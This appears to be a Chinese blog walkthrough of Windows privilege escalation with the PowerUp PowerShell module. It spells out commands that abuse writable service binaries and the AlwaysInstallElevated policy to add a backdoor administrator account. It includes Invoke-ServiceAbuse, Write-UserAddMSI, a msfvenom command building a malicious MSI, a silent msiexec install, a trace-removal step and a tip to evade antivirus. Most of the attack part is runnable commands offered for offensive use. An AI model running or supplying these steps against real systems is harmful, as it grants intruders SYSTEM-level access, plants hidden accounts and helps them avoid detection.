PowerUp攻击模块实战
 
1.将PowerUp.ps1脚本上传至目标服务器,然后在本地执行
2.使用IEX在内存中加载此脚本,执行以下命令,脚本将进行所有的检查。
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks"
由于检查项较多,输出内容繁杂,可以导出方便分析查看。
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks" > sys.txt
 
也可以在cmd下导入模块绕过策略执行:
powershell.exe -exec bypass -Command "& {Import-Module c:\PowerUp.ps1; Invoke-AllChecks}"
可以看出,Powerup 列出了可能存在问题的所有服务,并在AbuseFunction中直接给出了利用方式。
第一部分通过 Get-ServiceUnquoted 模块(利用 windows 的一个逻辑漏洞,即当文件包含空格时,windows API 会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升)检测出了有 "Vulnerable Service"、"OmniServ"、"OmniServer"、"OmniServers" 四个服务存在此逻辑漏洞,但是都没有写入权限,所以并不能被我们利用来提权。第二部分通过 Test-ServiceDaclPermission 模块(检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则存在此漏洞)检测出当前用户可以在 "OmniServers" 服务的目录写入相关联的可执行文件,并且通过这些文件来进行提权。
 
漏洞利用原理:Windows 系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA 升级程序,每次重启系统时,JAVA 升级程序会检测 Oracle 网站,是否有新版 JAVA 程序。而类似 JAVA 程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。
 
2)测试写权限
我们可以使用 icacls(Windows 内建的一个工具,用来检查对有漏洞目录是否有写入的权限)来验证下 PowerUp 脚本检测是否正确,我们先对于检测出来的漏洞目录进行权限的检测
icacls "C:\Program Files\Windows Media Player\wmpnetwk.exe"
"Everyone" 用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。
参数说明:"M" 表示修改,"F" 代表完全控制,"CI" 代表从属容器将继承访问控制项,"OI" 代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。
 
3)权限提升
在这里我们使用 AbuseFunction 那里已经给出的具体操作方式,
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-ServiceAbuse -Name 'WMPNetworkSvc' -UserName micr067 -Password admin@123
 
之后当管理员运行该服务的时候,则会添加我们的账号。(账号未添加,后续再研究)
 
4)删除痕迹
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Restore-ServiceBinary -ServiceName 'WMPNetworkSvc'
 
恢复
"C:\Program Files\Windows Media Player\wmpnetwk.exe.bak"
"C:\Program Files\Windows Media Player\wmpnetwk.exe"
l 移除备份二进制文件‘
"C:\Program Files\Windows Media Player\wmpnetwk.exe.bak"
 
上传PowerUp.ps1到目标机器
使用 Powerup 的 Get-RegistryAlwaysInstallElevated 模块来检查注册表项是否被设置,此策略在本地策略编辑器(gpedit.msc):
 
关于AlwaysInstallElevated 注册表项
Windows 环境提供组策略设置,允许常规用户安装具有系统权限的 Microsoft Windows Installer 程序包(MSI)。这可以在标准用户想要安装需要系统权限的应用程序的环境中发 现,并且管理员希望避免向用户提供临时本地管理员访问权限。Windows 环境提供组策略设置,允许常规用户安装具有系统权限的 Microsoft Windows Installer 程序包(MSI)。这可以在标准用户想要安装需要系统权限的应用程序的环境中发 现,并且管理员希望避免向用户提供临时本地管理员访问权限。
 
如果 AlwaysInstallElevated 注册表项被设置,意味着的 MSI 文件是以 system 权限运行的。命令如下,True 表示已经设置
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Get-RegistryAlwaysInstallElevated
 
也可以使用注册表查看
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
 
0x02 权限提升
接着我们需要生成恶意的MSI安装文件,让其来添加用户,第一种方法可以使用PowerUp脚本自带的 Write-UserAddMSI 模块,运行后生成文件 UserAdd.msi
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Write-UserAddMSI
然后我们以普通用户权限运行这个 UserAdd.msi,就会成功添加账户:
由于我是在payload域环境下,密码需要符合密码强度才能添加,否侧会弹窗报错!
 
添加了一个backdoor用户。
并且是管理员权限。
 
第二种方法,通过msfvenom生成一个msi后门,同样可以实现上面的功能。
 
msfvenom -f msi -p windows/adduser USER=micr067 PASS=Qwer1234! -o /root/add.msi
注意:此处对密码强度有要求,否则会报错!
meterpreter上传msi木马,然后运行即可
msiexec工具相关的参数:
/quiet=安装过程中禁止向用户发送消息
/qn=不使用图形界面
/i=安装程序
执行之后,成功添加上了该账号密码。当然这里也可以直接生成木马程序。
注:由于是msf生成的msi文件,所以默认会被杀毒软件拦截,做好免杀。
 
msiexec /quiet /qn /i C:\add.msi
成功添加用户。
 
msf下存在自动化的脚本供我们提权使用
 
exploit/windows/local/always_install_elevated
 

PowerUp攻击模块实战的更多相关文章

  1. PowerUp攻击渗透实战

    记录下PowerUp在实战渗透中的利用 准备环境: kali linux 攻击机 已获得靶机meterpreter(非管理)权限 win7 靶机  拥有powershell环境 1)Invoke-Al ...

  2. POWERUP攻击渗透实战2

    准备环境: kali linux 攻击机 已获得靶机meterpreter(非管理)权限 win7 靶机  拥有powershell环境 运用到的模块:Get-RegistryAlwaysInstal ...

  3. AFP溢出攻击模块afp/loginext

    AFP溢出攻击模块afp/loginext   在苹果Mac OS X 10.3.3及以前版本,AFP服务存在缓存区溢出漏洞CVE-2004-0430.利用该漏洞,用户可以基于LoginExt包执行任 ...

  4. (转)网站DDOS攻击防护实战老男孩经验心得分享

    网站DDOS攻击防护实战老男孩经验心得分享 原文:http://blog.51cto.com/oldboy/845349

  5. Metasploit自动攻击模块

    Metasploit自动攻击模块 Usage: db_autopwn [options] -h Display this help text -t Show all matching exploit ...

  6. 【研究】Metasploit自动攻击模块

    环境:kali-linux-2017.3-vm-amd64 一.安装postgresql数据库 apt-get install postgresql apt-get install rubygems ...

  7. Burp Suite Intruder Module - 攻击模块

    参考链接:https://portswigger.net/burp/documentation/desktop/tools/intruder/using 主要思路:在Intruder模块下设定Targ ...

  8. Python常用模块实战之ATM和购物车系统再升级

    目录 一.项目地址 二.功能需求 一.项目地址 https://github.com/nickchen121/atm 二.功能需求 FUNC_MSG = { '0': '注销', '1': '登录', ...

  9. powershell(一)

    Windows powershell是一种命令行外壳程序和脚本环境,它内置在win7以上版本的操作系统中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能.powershell程 ...

随机推荐

  1. Redis删除集群以及重新启动集群

    有时候我们搭建完集群以后,对集群进行了一些错误的操作,导致集群出现了不可预料的问题,这时候想要删除集群重新启动一个原始的集群,那么如何删除原来旧的集群呢? 1.关闭所有开启的Redis节点 kill ...

  2. Redis的复制(Master/Slave)、主从复制、读写分离

    1.什么是Redis的复制 行话:也就是我们所说的主从复制,主数据更新后根据配置和策略自动同步到备用机的master/slave机制,Mater以写为主,slave以读为主. 2.能干什么 2.1.读 ...

  3. airflow使用本地时区

    ​ 在airflow中使用的时间是utc时间,而更多时候我们希望的是使用本地时间,于是在定义airflow定时任务的时候,涉及到了时间的转换. 1.python中本地时间和utc时间的转换 查看国内可 ...

  4. django学之路01--环境安装和pycharm运行django项目

    1. 环境安装 1).virtualenv安装 C:\Users\Administrator>pip install virtualenv Collecting virtualenv Using ...

  5. IntelliJ IDEA 安装,配置,汉化

    压缩包:加QQ:1594216971 一.先进行安装包下载安装(五步) 1.运行”IntelliJ IDEA 2018.1.exe“ 开始安装,点击next 2.选择idea安装目录(不建议安装在c盘 ...

  6. 数据库占用CPU过高,性能分析与调优

    一.使用 dstat -tcdlmnsygr --disk-util 查看当前系统资源使用状况,当前cpu使用率100% 二.使用TOP命令 查看当前占用CPU进程,可以看到当前占用CPU进程最高的是 ...

  7. 解决ie6上碰到的css兼容问题

    ie6上css碰到的坑 前两天在给一个项目做东西的时候,碰到一个有意思的项目,是需要兼容ie6,有一些碰到并且解决的问题,给大家写下来,方便大家以后碰到类似的问题哈- 喜欢的话还请点赞! 1.impo ...

  8. 使用PrepareStatement

    包结构: 第一步:编写获取连接工具类 package com.atguigu.jdbc; import java.io.IOException; import java.io.InputStream; ...

  9. [C++]面向对象的程序设计——重要概念

      1.面向对象程序设计的核心思想是数据抽象.继承和动态绑定.通过使用数据抽象可以将类的接口与实现分离:使用继承,可以定义相似的类型并对其相似的关系建模:使用动态绑定,可以在一定程度上忽略相似类型的区 ...

  10. HashMap浅析

    一.概述 HashMap,基于哈希结构的Map接口的一个实现,无序,允许null键值对,线程不安全的.可以使用集合工具类Collections中的synchronizedMap方法,去创建一个线程安全 ...